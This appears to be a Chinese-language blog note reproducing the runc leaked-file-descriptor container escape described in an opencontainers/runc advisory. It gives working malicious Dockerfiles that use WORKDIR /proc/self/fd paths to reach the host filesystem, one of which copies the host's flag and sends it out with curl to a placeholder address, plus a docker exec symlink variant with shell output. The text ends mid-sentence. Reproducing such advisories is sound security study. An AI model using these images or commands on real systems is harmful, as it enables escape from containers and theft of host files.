runc run
或者runc exec
的过程中有存在没有及时关闭的fd
,导致文件描述符泄漏在容器环境中,用户可以通过这个文件描述来进行容器逃逸。
attack是复现several container breakouts due to internally leaked fds · Advisory · opencontainers/runc 公告中的这些攻击方式
即恶意镜像:
FROM ubuntu:22.04
RUN ls -al ./
WORKDIR /proc/self/fd/8
运行了恶意镜像的人就会被逃逸。
docker build -t evil .
docker run --rm -it evil bash
另外一种则是在build的时候就可以触发,但是一般目标环境也不会自己build吧:
FROM ubuntu:22.04
WORKDIR /proc/self/fd/7
RUN cp -r ../../../../../flag /flag
WORKDIR /
RUN apt update && apt-get install -y --no-install-recommends curl ca-certificates
RUN curl -XPOST --data-binary @/flag http://xxxx:xxx/
即runc exec
来触发,目标环境如果执行docker exec
并且设置了cwd就会触发,但是需要知道目标的cwd:
#先启动一个容器
docker run -it --rm --name uu ubuntu:22.04 bash
ln -s /proc/self/fd/7 /tmp/feng
#受害者执行docker exec
docker exec -w /tmp/feng -it 17478b3af345 bash
#攻击者获取pid和cwd,逃逸。
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 4628 3896 pts/0 Ss 06:55 0:00 bash
root 10 0.1 0.1 4628 3732 pts/1 Ss+ 06:56 0:00 bash
root 18 0.0 0.0 7064 1560 pts/0 R+ 06:56 0:00 ps aux
cat /proc/10/cwd/../../../../flag
flag{test}
3a和3b都是用来重写主机的二进制文件但是3a是通过恶意镜像,3b是通过run exec
。
但是具体怎么重写没太懂,利用方式应该类似于CVE-2019-5736,但是
several container breakouts due to internally leaked fds · Advisory · opencontainers/runc